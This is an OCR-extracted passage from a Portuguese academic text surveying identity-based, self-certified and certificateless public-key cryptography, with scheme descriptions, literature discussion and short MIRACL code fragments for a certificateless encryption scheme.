SAGE, disponivel em http://www.sagemath.org, e PARI-GP, disponivel em
http://pari.math.u-bordeaux. fr/,eoutras proprietrias tais como MAGMA
http://magma.maths.usyd.edu.au/magma/, Mathematica http://www.
wolfram.com/, Maple http://www.maplesoft.com/ e Matlab http://
www.mathworks.com/. O livro [Trappe e Washington 2005] apresenta vérios exem-
plos utilizando as trés tltimas ferramentas.

2.3.2. Criptografia de Chave Piblica Baseada em Identidade

Quando Shamir descreveu o modelo baseado em identidade, em 1984, apenas assinatura
digital ganhou algoritmos concretos. Por muitos anos sem sucesso, pesquisadores tra-
balharam na busca por algoritmos eficientes e seguros para cifragem e decifragem, que
compdem o chamado esquema IBE (Identity Based Encryption).

Em 2001, dois criptossistemas baseados em identidade, mudaram este panorama.
Um foi proposto por [Cocks 2001], fundamentado em residuos quadréticos, e outro por
[Boneh e Franklin 2001], baseado em emparelhamentos bilineares. Este tltimo ganhou
notoriedade ndo apenas pela eficiéncia, bem como pela formaliza¢do completa de IBE e
pelas demonstragdes de segurancga que se tornaram referéncia para outros protocolos de
cifragem sobre emparelhamentos. Vale mencionarmos que o uso de emparelhamentos
bilineares em esquemas baseados em identidade havia sido anteriormente estudado por
[Sakai et al. 2000] e que [Joux 2000] também ja tinha sinalizado que emparelhamentos
apresentavam grande atrativo para a criptografia, ao propor o primeiro protocolo de acordo
de chaves de trés participantes com uma sé interacao.

Os criptossistemas hierdrquicos baseados em identidades surgiram na sequén-
cia, conforme detalhados em [Gentry e Silverberg 2002] e, posteriormente, em
[Boneh e Boyen 2004, Yao et al. 2004, Chatterjee e Sarkar 2007]. As implementagdes
com hierarquia de autoridades se justificam ndo apenas porque reduzem a responsabi-
lidade e a sobrecarga sobre uma autoridade centralizada, mas também porque sdao uma
abordagem para eliminar a caracteristica de custédia de chaves.

Desde entdo, o modelo recebeu cada vez mais aten¢@o dos pesquisadores, que pas-
saram a acrescentar melhorias em vérias frentes: aumento da velocidade do célculo de em-
parelhamento em [Fan et al. 2008], reducdo do tamanho da chave em [Naccache 2007], e
aumento do nivel de seguranca com demonstra¢des sem a hipétese de ordculos aleatdrios,
que € o caso do esquema proposto por [Waters 2005]. Paralelamente, surgiram inimeros
protocolos e aplicagdes interessantes; sO para citar alguns:

e Assinatura em anel;
e Assinatura curtas;

e Assinatura em grupo;
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Cifrassinatura;

Acordo de chaves autenticado;

Acordo de chaves com vérios participantes;

Implementacdo de disponibilidade condicional.

Passemos, entdo, a descri¢iao genérica de esquema de cifragem e a respectiva con-
cretizacdo dessa defini¢do genérica, apresentada em [Boneh e Franklin 2001].

Esquema de cifragem baseado na identidade

Um esquema IBE é composto por quatro fases: inicializa, extrai, cifra e decifra. Nor-
malmente qualquer usudrio pode cifrar uma mensagem usando um /D na fase de cifra. O
destinatdrio, proprietdrio do ID, poderd decifrar a mensagem, por meio de decifra, usando
uma chave privada correspondente a ID, obtida da autoridade de confianca AC. Conforme
[Baek et al. 2004], essas fases s@o definidas da seguinte forma:

inicializa Os parametros do sistema sdo gerados, junto com o par de chaves da AC, com
a privada s e publica P.

extrai Beto se autentica junto a AC e obtém sua chave privada spe,, que € associada a
identidade IDpg,;p.

cifra Usando a identidade do Beto, IDp,;,, € P, Alice cifra a sua mensagem m em texto
claro e obtém o texto cifrado C.

decifra Ao receber o texto cifrado C de Alice, Beto decifra a mensagem através da sua
chave privada spes,-

Segue, abaixo, o esquema IBE de [Boneh e Franklin 2001]:

inicializa Dado um pardmetro de seguranga k, gera a chave mestra s € Z, e os parametros
puiblicos do sistema params = (¢q,G1,G2,e,n,P,P,,,,Hi,H>,H3,Hy), onde G e
G, sdo grupos de ordem prima ¢, e : G; X G| — G, é um emparelhamento bilinear
admissivel, P é gerador de G, Pyyp = sP e H; sdo fungdes de hash, tais que:

H;:{0,1}* — Gj

H,: Gy —{0,1}"

H3:{0,1}" x{0,1}" — Z

Hy:{0,1}" — {0,1}"

O espago de mensagens é . = {0,1}". O espaco de textos cifrados é ¢ = G x
{0,1}" x {0,1}".

extrai Dados um identificador ID4 € {0,1}*, params e a chave mestra s, calcular Q4 =
H\(ID,) e a chave secreta dy = sQg.
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cifra Dados um texto m € .#, uma identidade /D4 e params, calcular o texto cifrado
(rP,c ® Hy(e(Qa,Poup)"),m@® Ha(0)), onde r = H3(m, o), para ¢ € {0,1}", esco-
lhido aleatoriamente.

decifra Dados C = (U,V,W) € ¥, a chave secreta ds e params:

Se U ¢ G7, C é rejeitado. Caso contrdrio, calcular V & H(e(ds,U)) =oc e W d
Hy(o) = m. Com r = H3z(o,m), verificar se U = rP. Se for, m é a resposta, sendo
C € rejeitado.

Vale salientarmos que a proposta de [Boneh e Franklin 2001] foi o primeiro a ser
implementado na pratica e foi o ponto de partida para produtos comercializados nesta
area. O esquema de [Cocks 2001] ndo usa emparelhamentos; despertou menor inte-
resse devido ao alto grau de expansdo do texto cifrado, porém ressurgiu melhorado em
[Boneh et al. 2007], quando o problema de ineficiéncia em espaco computacional foi re-
solvido.

Adiante, descrevemos a definicdo de esquema de assinatura baseada na identidade,
conhecido por IBS (Identity Based Signature).

Esquema genérico de assinatura baseada na identidade

Um esquema IBS genérico consiste em quatro fases: inicializa, extrai, assina e verifica.
Normalmente, nesse esquema, Alice pretende assinar um documento, obtém da AC a sua
chave de assinatura que estd associada a informacdo do seu identificador. Ela assina a
mensagem com a chave obtida. Para Beto verificar a assinatura de Alice, precisa do
identificador dela (e de nenhum certificado). As fases de um esquema genérico podem ser
detalhadas conforme [Baek et al. 2004]:

inicializa Os parametros do sistema sio gerados, junto com o par de chaves da AC, com
a privada s e publica P.

extrai Alice se autentica junto a AC e obtém a sua chave privada, s,, , associada a sua
identidade ID ;.

assina Com a sua chave privada s

iee» AliCE cria a assinatura 0 sobre a mensagem m.

verifica Beto verifica se ¢ € assinatura genuina sobre a mensagem m, usando a identidade
de Alice e a chave publica da AC, P, aceitando-a ou a rejeitando.

O esquema IBS de [Shamir 1984] é considerado o ponto inicial para outros es-
quemas que surgiram. Por exemplo, o esquema proposto em [Hess 2003] permite a pré-
computacdo na fase de assinatura, o que € bastante util no caso de um assinante ter muitos
documentos para assinar. A pré-computacdo auxilia na eliminacao de uma das operacodes
de emparelhamento na fase de verificacdo de assinatura, contribuindo para desempenho
do sistema. Um IBS podera ser implementado a partir de um esquema hierdrquico de
cifragem baseado na identidade (HIBE - Hierarchical Identity Based Encryption), como
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comentado em [Misaghi 2008, Joye e Neven 2009]. Neste ultimo, sdo dados os detalhes
de construgdo e transformacdo de diversos modelos de assinatura baseada na identidade
com as suas principais caracteristicas.

Enquanto os esquemas de cifragem fornecem o servico de confidencialidade, os
de assinatura conferem autenticidade e integridade. Em algumas situacoes, esses trés re-
quisitos devem ser assegurados nas mensagens trafegadas. [Zheng 1997] mostrou que
mais eficiente do que encadear os algoritmos desses dois esquemas, ¢ compd-los em um
unico esquema, que foi chamado de cifrassinatura. [Malone-Lee 2002] elaborou um mo-
delo de seguranca para esquema de cifrassinatura baseado na identidade e apresentou um
protocolo, que foi aprimorado por varios outros trabalhos que vieram na sequéncia.

Para finalizarmos as constru¢des do modelo, comentaremos a seguir a proxima
primitiva importante em criptografia de chave publica, que também ganhou versdo neste
modelo: acordo de chaves baseado em identidade, IBKA (Identity Based Key Agreement).

Esquema de acordo de chaves baseado em identidade

O protocolo de acordo de chave € um dos primitivos fundamentais em criptografia, pois
por meio dele € possivel usar um canal inseguro para combinar um segredo em comum
entre dois ou mais participantes, sem que a chave secreta de cada um seja revelada. O
segredo negociado pode dar origem a uma chave de sessdo e ser usado em algoritmos de
criptografia simétrica, que sdo bem mais eficientes que os do modelo de chave prblica.

Um protocolo de acordo da chaves que ofereca autenticacdo mutua € chamado de
protocolo de acordo de chaves autenticado. No caso do modelo baseado em identidade, a
autenticacdo ocorre implicitamente.

Um esquema IBKA genérico consiste em trés fases: inicializa, extrai, acordo.
[Mccullagh e Barreto 2004] propdem um esquema eficiente de acordo da chave com au-
tenticacdo implicita. O esquema se destaca pela possibilidade de instanciamento com ou
sem custddia de chaves, sem a necessidade de ter mais passos no seu esquema. O esquema
apresentado a seguir € caracterizado pela custddia da chave:

inicializa Dado um parimetro de seguranca, sao obtidos dois grupos G| e G, de ordem
prima ¢, e um emparelhamento bilinear e : G x G; — G». E escolhida uma fungio
hash H; : {0,1}* — Zg. A AC seleciona um gerador P de Gy, escolhe uma chave
secreta s € Z; e calcula a chave publica como P,,;, = sP. A chave secreta € mantida
sob sigilo e os demais parametros sdo distribuidos através de canais autenticados.

extrai A AC calcula a chave privada da Alice como s, = (a+ s)~!'P, onde a =
H\(IDyjice)- O valor publico da Alice é Qajice = (a+ 5)P, que pode ser calculado
por qualquer usudrio como aP + P,,,. Analogamente, Beto possui valor publico
QBeto = (b+5)P e seu segredo é s, = (b+s)"'P.

Beto

acordo O acordo da chave serd feito da seguinte forma:

1. Alice escolhe um valor aleatério x, € Z, calcula Ty = x4QBeto = Xa (b+s)Pe
envia T, para Beto.
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2. Beto escolhe um valor aleatério x;, € Z}, calcula Ty = x,Qaice = Xp(a+s)P e
envia Tp para Alice.

3. Alice calcula Ky = e(T},s,,,,)"; de forma semelhante, Beto calcula Kpy =
e(Ty,8,,,)". Se ambos seguirem esse protocolo, calculardo o mesmo segredo
compartilhado, pois:

Kap = (Tb’ Altce)xa
= e(xp(a+s)P,(a+s)” ' P)t
= e(PP)* "
= e(xa(b+3)P (b+s)"'P)®
= e( Beto)
= Kpa

Avancos importantes

Nao ¢ tarefa facil enumerar todos os avancos relevantes que foram feitos sobre o modelo
baseado em identidade, pois muitos trabalhos merecem mencdo. Entretanto, para finali-
zarmos esta subsecao, pontuamos dois bastante recentes, que nos ddo uma nog¢ao razoavel
sobre o atual estagio das pesquisas que tratam dois pontos criticos do modelo baseado em
identidade: custddia de chaves e revogacao da identidade.

Custddia de chaves € provavelmente uma das mais indesejdveis caracteristicas no
modelo baseado em identidade. Na tentativa de remové-la, [Al-Riyami e Paterson 2003]
e [Gentry 2003], acabaram por criar modelos alternativos, que nao sao baseados em iden-
tidade por possuirem outra chave publica. Entretanto, mantendo-se a identidade como
unico valor de chave publica, a solu¢do mais comum para eliminar a custddia de cha-
ves gira em torno de uma hierarquia de autoridades e de adaptacdes sobre os esquemas
existentes.

Em [Chow 2009], no entanto, é proposta uma nova abordagem para impedir que
a autoridade decifre mensagens de seus usudrios. Se o texto cifrado embutir uma garantia
sobre 0 anonimato do destinatério, passa a ser proibitivo o custo computacional para que a
autoridade tente decifrar as mensagens trafegadas. Chow estendeu o modelo de seguranca
para IBE de modo a contemplar o anonimato, descreveu um esquema concreto seguro sob
esse modelo e propds uma nova arquitetura para permitir que a emissao da chave secreta
seja feita de forma andnima perante a autoridade.

A solucdo convencional que existe para o problema de revogacao de identidade é
a concatenagdo de periodos de validade junto do identificador do usudrio, criando iden-
tidades como JoaoSilva-Setembro09. O problema dessa técnica € a alta carga de
trabalho sobre a autoridade, na medida em que aumenta a frequéncia de renovacao de
chaves. Em termos computacionais, dizemos que a complexidade da renovacdo € linear
no ndmero de usudrios.

No trabalho de [Boldyreva et al. 2008], a identidade € preservada (sem concatena-
¢d0) e a complexidade de renovagdo é logaritmica no nimero de usudrios, o que € muito
eficiente quando a quantidade de usudrios envolvidos € bastante grande.
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Aplicacoes do Modelo Baseado em Identidade

Em [Appenzeller e Lynn 2002] foi proposto um novo protocolo de seguranga na camada
de rede que permite comunica¢do autenticada e cifrada entre os nés da rede. Os autores
usaram IBE na formulacdo do protocolo, tornando-o uma alternativa ao IPSec. Dentre
as vantagens em se usar IBE, podem ser citados o fato de ser desnecessario o processo
de handshaking inicial e ndo h4 troca de certificados para se enviar mensagens cifradas.
Neste caso, o remetente simplesmente envia um pacote cifrado com o endereco IP do
destinatario.

A importancia da computacdo em grade se deve ao aumento expressivo de apli-
cagdes que requerem poder computacional e capacidade de armazenamento cada vez mai-
ores. A comunicacdo segura sobre uma infraestrutura de computacdo em grade normal-
mente ocorre sobre uma ICP. Uma forma de aliviar a carga de trabalho, reduzir o trafego
e evitar o armazenamento de certificados digitais € empregar o modelo baseado em iden-
tidade, como uma abordagem alternativa em tais ambientes [Lim 2006]. Nesse trabalho,
o autor propde um protocolo de acordo de chaves com autenticagdo mutua baseado em
identidade e indica como viabilizar servicos de delegagdo e single sing-on.

Redes tolerantes a atrasos e desconexoes (DTNs) sdo redes caracterizadas pela
conectividade intermitente e que, por algum motivo, sdo desconectadas, interrompidas ou
apresentam um certo atraso na entrega de pacotes. Podem estar em uma drea de grande
extensao ou até debaixo da dgua. Nesses tipos de redes, o modelo baseado na identidade
pode contribuir na implantacdo de confidencialidade, conforme [Asokan et al. 2007]. Se-
gundo os autores, a ado¢do de IBE em DTNs diminui a carga sobre o servidor e os recep-
tores sao menos exigidos com relacdo a conectividade.

Outra aplicagdo de interesse em que o modelo baseado em identidade tem par-
ticipacdo € a busca em dados cifrados. Considere sistemas de emails cifrados, em que
palavras-chave podem ser pesquisadas por um redirecionador sem que o contetido seja re-
velado. Por exemplo, uma secretdria pré-organizando emails de seu diretor por palavras-
chave como “urgente” ou “projetoX”. Sem que ela consiga ler o contetido dos emails, serd
capaz de redirecionar as mensagens com tais palavras-chave e priorizd-las. Naturalmente,
essa secretdria pode ser substituida por um sistema automatizado de filtragem, junto do
servidor de emails.

Analogamente, logs cifrados podem ser pesquisados por um auditor pré-habilitado
a localizar ocorréncias relacionadas a palavras especificas. Em [Abdalla et al. 2008] é
apresentado um importante trabalho nessa drea; uma das contribui¢des refere-se a uma
transformacdo de um esquema IBE com garantia de anonimato para um esquema seguro
de criptografia de chave publica com busca de palavras-chave.

Uma das formas de se implementar autenticagdo mutua € por meio do uso de
cartoes inteligentes. [Scott et al. 2006] descrevem a implementacdo de trés emparelha-
mentos bilineares sobre um smartcard de 32 bits. Neste artigo, os autores demonstram
que os emparelhamentos podem ser calculados com eficiéncia equivalente a alcancada
pelas primitivas criptograficas cldssicas.
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2.3.3. Criptografia de Chave Publica Autocertificada

Com o objetivo de exemplificarmos o conceito de chave publica autocertificada, vamos
descrever um dos protocolos de geracdo de chaves de [Girault 1991], um que € baseado
na assinatura RSA.

Inicialmente, a autoridade seleciona parametros RSA, isto €, escolhe n, produto
de dois primos p,q. Calcula seu par de chaves: escolhe e relativamente primo a (p — 1)
e (¢g—1), e calcula d como inversa de ¢ no médulo (p —1)(g — 1). Escolhe g de ordem
maximal no grupo multiplicativo (Z/nZ)*. Os parimetros n,e, g sdo tornados publicos e
os demais, mantidos em segredo.

Um usudrio com identidade I escolhe sua chave secreta s, calcula v =g~ mod n
e entrega v para a autoridade. Por meio de um protocolo de identificacdo, o usudrio deve
provar a autoridade que conhece s, sem revelé-lo.

A autoridade, entdo, calcula e entrega a chave publica:
P=(g =1 modn

Conforme dissemos na se¢do 2.2.2, a chave publica autocertificada € calculada em funcao
da identidade do usudrio (/) e dos segredos da autoridade e do usudrio (no caso acima,
respectivamente s e d).

A autoridade alcancard nivel 3 de confianca se demonstrar que gera os parametros
de forma honesta, conforme detalhado em [Saeednia 2003].

Um exemplo de uso da chave autocertificada acima € dado por com um protocolo
de acordo de chaves autenticado, proposto em [Girault 1991], que, embora seja vulnera-
vel ao ataque do intermedidrio, ilustra o principio de funcionamento da chave autocerti-
ficada de forma simples. Considere que os atributos de Alice sdo (I,,s,,P,) e de Beto,
(1,,54,P;). Ambos negociam uma chave secreta calculando:

Alice calcula  (P{ +1;)%
Beto calcula  (P{+1,)’s

Comod-e=1 mod (p—1)(q—1), pode-se verificar que P° +1 = g~* mod n.
Desse modo, os dois cdlculos acima sdo iguais a g **s mod n. O protocolo € autenticado,
pois Alice tem certeza de que conversa com Beto e vice-versa, sem a necessidade de se
conferir certificados.

Uma quantidade considerdvel de publicacdes na Asia, durante as duas ultimas
décadas, tem como tema a chave publica autocertificada. E possivel encontrar propostas
de cifragem, cifra autenticada, acordo de chaves, assinatura e assinatura em grupo, s6 para
citar algumas. Praticamente todas sdo desprovidas de demonstracdes formais e, portanto,
nao devemos considera-las para uso pratico.

Talvez boa parte desses trabalhos tenha sido motivada pelo forte potencial de apli-
cacao do conceito. Em [Petersen e Horster 1997], sdo relatados os seguintes usos para
chave publica autocertificada, com vantagens sobre o modelo convencional de certifica-
dos digitais:
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Delegacao do poder de decifrar ou assinar;

Delegacdo de direitos;

Votacdo eletronica;

Dinheiro eletronico;

e Acordo ndo-interativo de chaves de sessao, com autenticagao.

Na ocasido da publicacdo de [Petersen e Horster 1997] ainda ndo eram conhecidas
as aplicacoes de emparelhamentos bilineares, que hoje s@o base de solu¢des mais eficien-
tes (e demonstravelmente seguras) para os usos acima. Entretanto, vale citarmos as ideias
principais que esses autores relatam para aplicacdo da chave publica autocertificada, pois
essas ideias sdo de alguma forma retomadas ou reaproveitadas em trabalhos posteriores.

Para os casos de delegacdo de assinatura ou de decifragem, os protocolos de ge-
racdo de chaves autocertificadas sdo adaptados para serem executados entre o usurio
principal e aquele para quem € delegado algum poder. O “procurador” calcula seu par
de chaves por meio do protocolo interativo com o emissor da “procuracdo”. A delegacao
de direitos ocorre dentro de um contexto de hierarquia de autoridades; cada n6 da hierar-
quia pode ser associado a um privilégio, que é concedido aqueles que forem previamente
autorizados, por meio da emissdo de chaves autocertificadas.

As aplicacdes de votacdo e dinheiro eletrOnicos citadas em
[Petersen e Horster 1997], se baseiam num protocolo de geracdo de chave publica
autocertificada para um pseudonimo (em vez da identidade). O pseudonimo garante o
anonimato e o sigilo do voto ou do uso de um dinheiro emitido, mas, a0 mesmo tempo,
oferece algum nivel de rastreabilidade, por exemplo para assegurar que cada eleitor vote
uma Unica vez, ou para que num caso de extorsao o banco e uma entidade de confianca
dentro do sistema possam, em conjunto, rastrear as movimentacdes fraudulentas.

O acordo de chaves com autenticagdo de [Petersen e Horster 1997] permite que as
chaves publicas autocertificadas deem origem a novos pares de chaves, recalculados pelos
proprios usudrios sem necessidade de interacdo com a autoridade. Esses pares de chaves
sao usados no cdlculo de chaves de sessao, em protocolo com autenticacdo implicitamente
verificada. Mais precisamente falando, cada usudrio divulga um valor de testemunho (em
vez da prépria chave publica); a partir de um testemunho, da identidade e dos pardmetros
publicos, qualquer usudrio pode recalcular a chave publica autocertificada. Quando o
valor de testemunho é combinado com um periodo de tempo ou a um nimero de sessao,
por exemplo, é possivel realizar uma negociacdo ndo interativa de chaves de sessao.

Variacoes e Mais Aplicacoes

Quando tentamos isolar os trabalhos relacionados ao de [Girault 1991] que apresentam
formalizagGes conceituais e/ou demonstracdes de seguranga, encontramos variantes do
conceito original que ndo podem ser enquadrados dentro do modelo de chave publica
autocertificada, porém mantém algum aspecto da autocertificacao.
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Uma primeira variante € a assinatura autocertificada, que pressupde a existéncia
de uma ICP convencional. Ou seja, todo usudrio tem um par de chaves calculado da forma
tradicional e obtém um certificado digital para a chave publica. Esse certificado, entre-
tanto, é distribuido de uma forma diferenciada, para otimizar as operagdes de verificacdo
de assinatura.

No modelo convencional com ICP, a verificacdo de uma unica assinatura sobre
um documento acaba levando a dois procedimentos de verificagdo: primeiro é necessario
verificar a assinatura da autoridade sobre o certificado; sendo esta valida, é extraida a
chave publica do usudrio para se conferir a assinatura do documento em questdo. O
esquema de assinatura proposto em [Lee e Kim 2002] evita essa verificacdo dupla. A
partir do valor de assinatura do certificado obtido da autoridade, o usudrio calcula um
par de chaves para assinatura (pode opcionalmente ser diferente para cada documento
assinado). A nova chave publica calculada € autocertificada. A assinatura a ser transmitida
consiste dos dados do certificado e de um testemunho, a partir do qual € recalculada a
chave publica para verificacdo da assinatura.

Em [Shao 2007], outro esquema de assinatura autocertificada € proposto. O autor
estabelece que parte do valor da assinatura do certificado deve ser secreto e obtém uma
variante mais proxima do trabalho de [Al-Riyami e Paterson 2003], de criptografia de
chave publica sem certificado.

Também com o objetivo principal de eliminar a dupla verificagdo de assinaturas
em sistemas baseados na infraestrutura de chaves ptblicas, existe o que a empresa Cer-
ticom chama de certificado implicito. Estruturalmente, em nada difere um certificado
implicito de um padrdo X.509 para chaves publicas; a infraestrutura necessaria para am-
bos é a mesma. No entanto, o valor de assinatura no certificado € usado para qualquer
usudrio recalcular a chave publica autocertificada. E essa operacdo de extracao do valor
da chave publica € mais barato computacionalmente que uma verificacdo de assinatura
(para validar um certificado).

7z

Um exemplo de geracdo de certificado implicito € descrito em
[Brown et al. 2002]. Todos algoritmos associados a essa tecnologia e que sdo de-
senvolvidos pela Certicom estao protegidos por uma série de patentes (por exemplo, US
Patent 20090041238). A linha de produtos ZigBee Smart Energy inclui um dispositivo
que realiza as funcdes de uma autoridade certificadora, emitindo certificados implicitos
sobre curvas elipticas ECQV (Qu-Vanstone) para dispositivos com limitacdo de recursos
(de armazenamento, de banda ou computacionais).

Outro uso menos esperado da chave autocertificada também se deu dentro do mo-
delo com certificados. Uma dificuldade existente em sistemas com criptografia de chave
publica € a validacdo da seguranca de esquemas demonstravelmente seguros, quando im-
plementados em conjunto com outras operacdes. Pode acontecer, por exemplo, um pro-
tocolo de assinatura com segurang¢a demonstravel nao ter garantia de segurangca quando
usado dentro de uma ICP. No trabalho de [Boldyreva et al. 2007], os modelos de segu-
ranga para esquemas de cifragem e de assinatura incluem as vérias operagdes que aconte-
cem dentro de uma infraestrutura de chaves publicas. Os autores propuseram dois proto-
colos demonstrados seguros nesse modelo. Na prética, esses protocolos oferecem maior
garantia de seguranga em implementacdes reais, pois o modelo de adversarios é mais
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amplo. E um dos pontos chave desse trabalho é o emprego da certificacdo implicita.

2.3.4. Criptografia de Chave Publica sem Certificados

Quando o modelo sem certificados foi proposto em [Al-Riyami e Paterson 2003], os au-
tores apresentaram defini¢cdes formais de um esquema de cifragem CLE (Certificateless
Encryption), definiram um modelo de seguranca extremamente forte e construiram um
esquema concreto que cumpre todos os requisitos definidos.

Na sequéncia, surgiram vdrias outras propostas, muitas das quais demonstradas
seguras sob um modelo de seguranca aparentemente mais realista, embora mais fraco que
o original. Até hoje os pesquisadores questionam se o poder dado ao adversirio no mo-
delo de seguranga proposto inicialmente ¢ demasiado forte ou ndo. Ninguém conseguiu
apontar uma aplicacao real em que o modelo se aplica na totalidade, mas, por outro lado,
como ja existem protocolos que atendem um grau de seguranga maior, ha quem os prefira,
apesar deles serem um pouco menos eficientes.

Nao replicaremos aqui as formalizacdes sobre o modelo sem certificados e refe-
renciamos o leitor a excelente pesquisa feita por [Dent 2008], onde ha também um levan-
tamento de vérios protocolos de cifragem e uma discuss@o sobre os modelos de seguranga.

Para ilustrar o funcionamento da cifragem no modelo sem certificados, listamos o
esquema de [Goya 2006] que € simples o bastante, pois envolve menos parametros e cifra
mais curta que o de [Al-Riyami e Paterson 2003]. O esquema foi demonstrado seguro
sob 0 modelo enfraquecido. Os cdédigos 1 a 3 referem-se a trechos do esquema a seguir,
implementados em MIRACL.

inicializa Dado um parametro de seguranca k, inteiros n e kg, com 0 < kg < n, AC:

1. Gera dois grupos G; e G, de ordem prima ¢ > 2f ¢ um emparelhamento
bilinear e : G| x G| — G,. Escolhe aleatoriamente um gerador Q € G7.

2. Escolhe aleatoriamente s € ZZ e calcular Q,, := sQ.

3. Escolhe trés fungdes de hash
H;:{0,1}* — G}
H;: Gy x Gy x Gy — {0,1}"
Hs :{0,1}" %0 x {0,1}f — 72
4. Define:
M = {0,117k como espaco de mensagens;
¢ = Gj x {0,1}", como espago de textos cifrados;
s, como chave-mestra do sistema;

params = (q,G,Gy,e,n,ko,Q,0,,Hi,H,,H3), como pardmetros do sis-
tema.

extrai Dados um identificador ID4 € {0, 1}*, params e a chave-mestra s:

1. Calcular Q4 := H;(IDy).
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2. Entrega para entidade A a chave secreta parcial dg := sQ4.

publica Dado params, a entidade A escolhe um valor aleatério ss4 € Z; outra chave
secreta parcial e calcula sua chave publica Py := s40. A.

cifrar Dados um texto m € .#, uma identidade /D4, params e a chave publica Py:

1. Escolher aleatoriamente ¢ € {0, 1}%
2. Calcular
r:=H3(m,o)
Q4 :=H,(IDy)
g = e(Q0,0a)"
fi=rPy
3. Devolver o texto cifrado C = (rQ, (m || o) @ H2(rQ,g", f)).

decifra Dados C = (U,V) € € e os valores secretos dy € s4:

1. Calcular
g/ = e(U7dA>
f/ =AU

(m]lo):=VeH(U.gd,f)
2. Desmembrar (m || 6) e calcular r := Hz(m, o)

3. Se U :=rQ, devolver a mensagem m, sendo C € rejeitado.

Cadigo 1 - Gerar chaves para a entidade A

// Executado pelo usuario:

// sA (gerar valor secreto) // Executado pela autoridade:
sA = rand (BITS_RANDOM, 2); QA = HI("A");
// PA (calcular chave publica) // dA (chave secreta parcial)
PA = Q; dA = QA;
PA x= sA; dA x= s;

Evolucao do Modelo

Vamos pontuar os trabalhos mais significativos que marcaram a evolu¢ao do modelo de
criptografia de chave publica sem certificados. Citaremos primeiramente os esquemas que
contemplam o sigilo; os de assinatura sao descritos posteriormente.
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Codigo 2 - Cifrar para a entidade A

// m pertencente a M // f =1 PA
str = MENSAGEM; f = PA;
m = (char %) str.c_str(); f %= r;
// Escolher aleatorio o (sigma) // Obter texto cifrado c=<U,V>
o = rand (TAM_kO_BITS ,2); //u = rQ;
u=Q;
r = H3(m,o0); u *=r;
// g = e(Q0,0A) r // v =m.o XOR H2(g, U, f)
g = tate (Q0,QA); vl = concatena(m,o0);
g = pow(g,r); v = H2(g,u,f);
v = XOR(v,vl);
Cadigo 3 - Decifrar pela entidade A
// Obter g’ e f’ rl = H3(m,o0);
gl = tate(u,dA);
fl = u; Pl_aux = Q;
fl x= sA; P1 _aux %= rl;
// (m.o) = v XOR H2(gl,u, fl) if (Pl_aux == u)
mo = H2(gl,u, fl); {
mo = XOR(mo,vV); cout << "Texto: " << m;
}else
// Separar m e o {
m = Get_m(mo); cout << "Erro rQ != U \n";

0o = Get_o(mo); }

Dentre os protocolos de maior eficiéncia computacional para cifragem, podemos
citar os de [Libert e Quisquater 2006] e de [Cheng et al. 2007]. Ambos usam o modelo
de oraculos aleatdrios para demonstrar a seguranca de construgdes genéricas de CLE e
dos esquemas concretos propostos. O primeiro desses usa como hipétese um problema
computacional pior que o segundo, porém adota o modelo de adversdrios mais forte (ao
contrario do ultimo).

No contraponto da maior eficiéncia computacional, encontram-se os esquemas
de maior seguranga, demonstrados no modelo padrao (sem ordculos aleatdrios), e sob o
modelo mais forte de adversarios. Dentro desse nicho, o trabalho [Dent et al. 2008] é a
melhor referéncia que se tem até o momento.

Embora a esmagadora maioria das propostas envolva emparelhamentos bilinea-
res, nao € obrigatdria tal técnica para que seja vidvel o modelo sem certificados. Em
[Sun et al. 2007], ha um exemplo de esquema de cifragem sem emparelhamentos. Os au-
tores melhoram uma versao anterior, [Baek et al. 2005], entretanto preservam uma grande
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quantidade de exponenciagdes. Em termos de efici€ncia, esse esquema € superado por
muitos outros que sao baseados em emparelhamentos. SO para se ter uma ideia, a ver-
sdo mais antiga é comparada com esquemas de cifrassinatura em [Barreto et al. 2008] e
perde em vdrias ocasides (isto €, mesmo apenas cifrando, o esquema sem emparelhamento
¢ mais lento que alguns esquemas que cifram e assinam simultaneamente).

Talvez ndo seja exagero dizer que o calcanhar de Aquiles do modelo sem certifi-
cados é o que se convencionou chamar de Denial of Decryption (DoD). E razoével pensar
em uma tal forma de ataque, pois as chaves publicas sdo distribuidas e ndo certificadas ex-
plicitamente. Se o destinatdrio (dono da verdadeira chave publica) ndo conseguir decifrar
ou obter uma mensagem diferente da original, o ataque é bem sucedido. No contexto de
assinatura, usudrios ndo conseguem validar assinaturas legitimas e sequer podem identifi-
car que o erro estd na chave publica e ndo na assinatura. No caso de implementacdes que
envolvam um repositorio centralizado para armazenar as chaves publicas, o ataque DoD
terd este nome mais que justificado, se o impostor substituir varias (ou todas) chaves.

A solugao delineada em [Liu et al. 2007] para se evitar o DoD envolve o cdlculo
da chave publica dependentemente da chave parcial secreta. Isso, entretanto, elimina uma
das caracteristicas peculiares do modelo sem certificado, que € a possibilidade de se gerar
chaves publicas antes da interacdo com a autoridade do sistema. A proposta combina
CLE e CLS (respectivamente cifragem e assinatura no modelo sem certificado), criando
duas chaves parciais secretas, uma para CLE e outra para CLS. Portanto, hd também duas
chaves secretas completas, uma para decifrar e outra para assinar. A chave publica passa
a ser um par < pk,o > onde o € a assinatura do usudrio sobre sua propria chave publica
pk. Um remetente deve verificar ¢ antes de cifrar com pk e, assim, DoD € evitado.

Os autores chamaram essa solugdo de self-generated certificate PKC; ela se as-
semelha a certificados autoassinados em ICPs. Um questionamento que ainda estd em
aberto € se ndo € possivel outro tipo de solugdo, pois, na verdade, os autores inseriram
uma espécie de certificado (a assinatura, que deve ser verificada e que sé pode existir
depois de uma interagdo com a autoridade) em um modelo que, em principio, é sem cer-
tificados.

Um outro aspecto problemadtico no modelo sem certificados, ainda que em menor
escala que o DoD, € o ataque da autoridade mal intencionada. O modelo de seguranca
definido originalmente em [Al-Riyami e Paterson 2003], presume que a autoridade € ho-
nesta e segue os protocolos conforme especificados. Em [Au et al. 2007b], no entanto,
¢ apresentada a possibilidade de que a autoridade gere parametros desonestamente, de
modo a conseguir um atalho para decifrar textos, sem o conhecimento dos usudrios.

A excecio de [Libert e Quisquater 2006, Hu et al. 2006], todos os esquemas pro-
postos até o trabalho de [Au et al. 2007b], sao vulnerdveis a essa autoridade mal intencio-
nada e mesmo os trabalhos mais recentes também o sdo em grande parte. O esquema
de [Dent et al. 2008], por exemplo, falha nesse quesito. [Dent 2008] provou que um
esquema CLE construido sob a técnica de [Dodis e Katz 2005] evita esse tipo de ac¢ao;
uma implementagdo concreta de esquema de cifragem sob essa técnica pode ser vista em
[Chow et al. 2006], cuja proposta tem por objetivo principal o de resolver o problema de
revogacao de chaves publicas no modelo sem certificados. Outro trabalho que trata o
